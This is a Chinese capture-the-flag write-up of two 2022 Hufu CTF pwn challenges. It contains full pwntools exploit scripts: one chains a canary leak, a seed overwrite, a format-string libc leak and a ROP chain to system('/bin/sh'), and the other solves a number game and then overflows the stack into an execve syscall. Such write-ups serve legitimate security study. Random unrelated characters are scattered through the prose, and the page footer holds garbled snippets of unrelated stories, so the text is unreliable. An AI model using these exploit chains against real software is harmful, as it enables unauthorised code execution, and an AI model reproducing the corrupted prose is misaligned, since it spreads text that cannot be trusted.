2022虎符CTF pwn wp+復(fù)現(xiàn)

難過

babygame

思路

題目大意是剪刀石頭布進(jìn)行猜拳陆馁,設(shè)置了種子绳匀,但種子在棧上台腥,且可溢出覆蓋
所以就改掉種子投放,然后再for循環(huán)和它比奈泪,從而實(shí)現(xiàn)繞過進(jìn)入漏洞函數(shù)

格式化字符串漏洞,只有一次跪呈,泄露libc同時(shí)跳到有棧溢出的那個(gè)read里
一開始因?yàn)闆]有泄露地址猶豫了很久段磨,后來發(fā)現(xiàn)前邊覆蓋種子的時(shí)候似乎能進(jìn)行泄露。耗绿。

EXP

from pwn import*
from ctypes import *
# p = process('./babygame')
#p = remote('120.25.205.249','20346')
elf = ELF("./babygame")
context.arch = "amd64"
# libc = elf.libc
libc = elf.libc
libc1 = cdll.LoadLibrary('./libc-2.31.so')
# context.log_level='debug'
gad=[0xe3b2e,0xe3b31,0xe3b34]
'''
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)
def pwn():
    p.recvuntil("Please input your name:")

    p.send(0x100*'b'+8*'b'+'a')

    p.recvuntil('a')
    canary = u64('\x00'+p.recv(7))
    stack = u64(p.recv(6)+'\x00'*2)
    lg('canary',canary)
    lg('stack',stack)

    libc1.srand(0x62626262626262)

    for i in range(1,101):
        j = str((libc1.rand()+1)%3)
        p.recvuntil('round '+str(i)+': ')
        p.send(j)

    game = 0x153E
    ret = stack-(0x7ffea348d4c0-0x7ffea348d2a8)
    pay = "%{}c%{}$hnk%9$p".format(1218,8)
    pay += p64(ret)
    p.recvuntil('Good luck to you.')
    p.send(pay)
    p.recvuntil('k')
    libc_base = int(p.recv(14),16)-175-libc.sym['printf']
    lg('libc_base',libc_base)
    one = gad[1] + libc_base
    system = libc_base+libc.sym['system']
    bin_sh = libc_base+next(libc.search('/bin/sh\x00'))
    pop_rdi = libc_base + 0x23b72
    ret = 0x0000000000022679+libc_base
    '''
    0x0000000000023b72: pop rdi; ret; 
    0x0000000000022679: ret;

    '''
    pay = 0x100*'b'+p64(canary)*5+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
    p.send(pay)

times = 0
while 1:
    try:
        p = process("./babygame")
        pwn()
        p.interactive()
    except:
        times += 1
        print("="*8+str(times)+" times"+"="*8)
        p.close()

tips:

這里也可以通過棧上的函數(shù)地址泄露pie偏移苹支,就不用爆破了

復(fù)現(xiàn)

gogogo

思路

賽后看這題其實(shí)也不難,比賽的時(shí)候怎么就做不出呢


image.png

go語言程序误阻,函數(shù)入口在math_init债蜜,字符串的輸出都是單個(gè)字母晴埂,所以程序流不太好判斷。
先要過第一個(gè)判斷

image.png

如果進(jìn)入elseif程序就結(jié)束了
我go不太好寻定,大概應(yīng)該是和開線程有關(guān)系儒洛,重新執(zhí)行g(shù)ame
image.png

然后就如題所說是個(gè)游戲
image.png

然后就是網(wǎng)上找腳本繞過,這里改了一下驗(yàn)證函數(shù)(這部很關(guān)鍵狼速,但其實(shí)這題爆破結(jié)果也能解琅锻,就是時(shí)間久一點(diǎn))
python初學(xué)---猜數(shù)字游戲(游戲與AI,原創(chuàng)) - funolove - 博客園 (cnblogs.com)
然后就根據(jù)程序流找字符串向胡,然后定位函數(shù)位置
這里是are you sure?恼蓬,然后有個(gè)read
image.png

makeslice函數(shù)(19條消息) GO語言slice詳解(結(jié)合源碼)_胖子依然6的博客-CSDN博客_go語言slice源碼這里有解釋
Read_read讀入0x800,棧溢出0x460僵芹,調(diào)用syscall即可
image.png

image.png

EXP

# coding=utf-8
from pwn import *
context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p=process("./gogogo")

def guessTrainner():
   start =time.time()
   answerSet=answerSetInit(set())
   for i in range(6):
      inputStrMax=suggestedNum(answerSet,100)
      print('第%d步----' %(i+1))
      print('嘗試:' +inputStrMax)
      print('----')
      AMax,BMax = compareAnswer(inputStrMax)
      print('反饋:%dA%dB' % (AMax, BMax))
      print('----')
      print('排除可能答案:%d個(gè)' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
      answerSetUpd(answerSet,inputStrMax,AMax,BMax)
      if AMax==4:
         elapsed = (time.time() - start)
         print("猜數(shù)字成功处硬,總用時(shí):%f秒,總步數(shù):%d拇派。" %(elapsed,i+1))
         break
      elif i==5:
         print("猜數(shù)字失敽稍!")
 
 
def compareAnswer(inputStr):
    inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
    p.sendline(inputStr1)
    ru('\n')
    tmp = p.recvuntil('B',timeout=0.5)
    # print(tmp)
    if tmp == '':
        return 4,4
    tmp = tmp.split("A")
    A = tmp[0]
    B = tmp[1].split('B')[0]
    return int(A),int(B)
 
def compareAnswer1(inputStr,answerStr):
   A=0
   B=0
   for j in range(4):
      if inputStr[j]==answerStr[j]:
         A+=1
      else:
         for k in range(4):
            if inputStr[j]==answerStr[k]:
               B+=1
   return A,B
   
def answerSetInit(answerSet):
   answerSet.clear()
   for i in range(1234,9877):
      seti=set(str(i))
      if len(seti)==4 and seti.isdisjoint(set('0')):
         answerSet.add(str(i))
   return answerSet
 
def answerSetUpd(answerSet,inputStr,A,B):
   answerSetCopy=answerSet.copy()
   for answerStr in answerSetCopy:
      A1,B1=compareAnswer1(inputStr,answerStr)
      if A!=A1 or B!=B1:
         answerSet.remove(answerStr)
 
def answerSetDelNum(answerSet,inputStr,A,B):
   i=0
   for answerStr in answerSet:
      A1, B1 = compareAnswer1(inputStr, answerStr)
      if A!=A1 or B!=B1:
         i+=1
   return i
 
 
def suggestedNum(answerSet,lvl):
   suggestedNum=''
   delCountMax=0
   if len(answerSet) > lvl:
      suggestedNum = list(answerSet)[0]
   else:
      for inputStr in answerSet:
         delCount = 0
         for answerStr in answerSet:
            A,B = compareAnswer1(inputStr, answerStr)
            delCount += answerSetDelNum(answerSet, inputStr,A,B)
         if delCount > delCountMax:
            delCountMax = delCount
            suggestedNum = inputStr
         if delCount == delCountMax:
            if suggestedNum == '' or int(suggestedNum) > int(inputStr):
               suggestedNum = inputStr
 
   return suggestedNum
 
 
ru("PLEASE INPUT A NUMBER:")
p.sendline("1717986918")
ru("PLEASE INPUT A NUMBER:")
p.sendline("1234")
ru("YOU HAVE SEVEN CHANCES TO GUESS")
guessTrainner()
sa("AGAIN OR EXIT?","exit")
sla("(4) EXIT","4")
syscall = 0x47CF05
binsh = 0xc00007c000

payload = '/bin/sh\x00'*0x8c + p64(syscall) + p64(0) + p64(59) + p64(binsh) + p64(0) + p64(0)
 
sla("ARE YOU SURE?",payload)
p.interactive()
 

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末件豌,一起剝皮案震驚了整個(gè)濱河市疮方,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌苟径,老刑警劉巖案站,帶你破解...
    沈念sama閱讀 218,122評(píng)論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異棘街,居然都是意外死亡蟆盐,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,070評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門遭殉,熙熙樓的掌柜王于貴愁眉苦臉地迎上來石挂,“玉大人,你說我怎么就攤上這事险污”杂蓿” “怎么了?”我有些...
    開封第一講書人閱讀 164,491評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵蛔糯,是天一觀的道長拯腮。 經(jīng)常有香客問我,道長蚁飒,這世上最難降的妖魔是什么动壤? 我笑而不...
    開封第一講書人閱讀 58,636評(píng)論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮淮逻,結(jié)果婚禮上琼懊,老公的妹妹穿的比我還像新娘阁簸。我一直安慰自己,他們只是感情好哼丈,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,676評(píng)論 6 392
  • 文/花漫 我一把揭開白布启妹。 她就那樣靜靜地躺著,像睡著了一般醉旦。 火紅的嫁衣襯著肌膚如雪饶米。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,541評(píng)論 1 305
  • 那天车胡,我揣著相機(jī)與錄音咙崎,去河邊找鬼。 笑死吨拍,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的网杆。 我是一名探鬼主播羹饰,決...
    沈念sama閱讀 40,292評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢(mèng)啊……” “哼碳却!你這毒婦竟也來了涂滴?” 一聲冷哼從身側(cè)響起捂龄,我...
    開封第一講書人閱讀 39,211評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后咪辱,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,655評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡拿穴,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,846評(píng)論 3 336
  • 正文 我和宋清朗相戀三年蜕提,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片使兔。...
    茶點(diǎn)故事閱讀 39,965評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡建钥,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出虐沥,到底是詐尸還是另有隱情熊经,我是刑警寧澤,帶...
    沈念sama閱讀 35,684評(píng)論 5 347
  • 正文 年R本政府宣布欲险,位于F島的核電站镐依,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏天试。R本人自食惡果不足惜槐壳,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,295評(píng)論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望秋秤。 院中可真熱鬧宏粤,春花似錦脚翘、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,894評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至崇堰,卻和暖如春沃于,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背海诲。 一陣腳步聲響...
    開封第一講書人閱讀 33,012評(píng)論 1 269
  • 我被黑心中介騙來泰國打工繁莹, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人特幔。 一個(gè)月前我還...
    沈念sama閱讀 48,126評(píng)論 3 370
  • 正文 我出身青樓咨演,卻偏偏與公主長得像,于是被迫代替她去往敵國和親蚯斯。 傳聞我的和親對(duì)象是個(gè)殘疾皇子薄风,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,914評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 歇了很長一段時(shí)間,終于開始了我的攻防世界pwn之路拍嵌。立一個(gè)flag:每日一題遭赂,只能多不能少。 0x00 dice_...
    Adam_0閱讀 7,114評(píng)論 2 7
  • leakless x86 elf | nx 漏洞 : 棧溢出 利用 :使用 puts leak libc , 并第...
    fantasy_learner閱讀 372評(píng)論 0 0
  • BOF 漏洞點(diǎn):棧溢出 利用過程棧溢出跳轉(zhuǎn) callMeMaybe 函數(shù) 獲得flag exp She Sells...
    fantasy_learner閱讀 569評(píng)論 0 0
  • 這個(gè)周末横辆,連續(xù)兩天的比賽讓人吃不消撇他,今天早上也是困的不行。因?yàn)槭菄H賽狈蚤,題目質(zhì)量感覺挺高(可能是因?yàn)槲姨肆耍├Ъ纾@...
    bluecake閱讀 2,326評(píng)論 0 2
  • 一、bugkuctf pwn4(棧炫惩,ROP僻弹,system($0)) 圖1很容易看出來read函數(shù)棧溢出 緊接著就是...
    ywledoc閱讀 1,604評(píng)論 0 1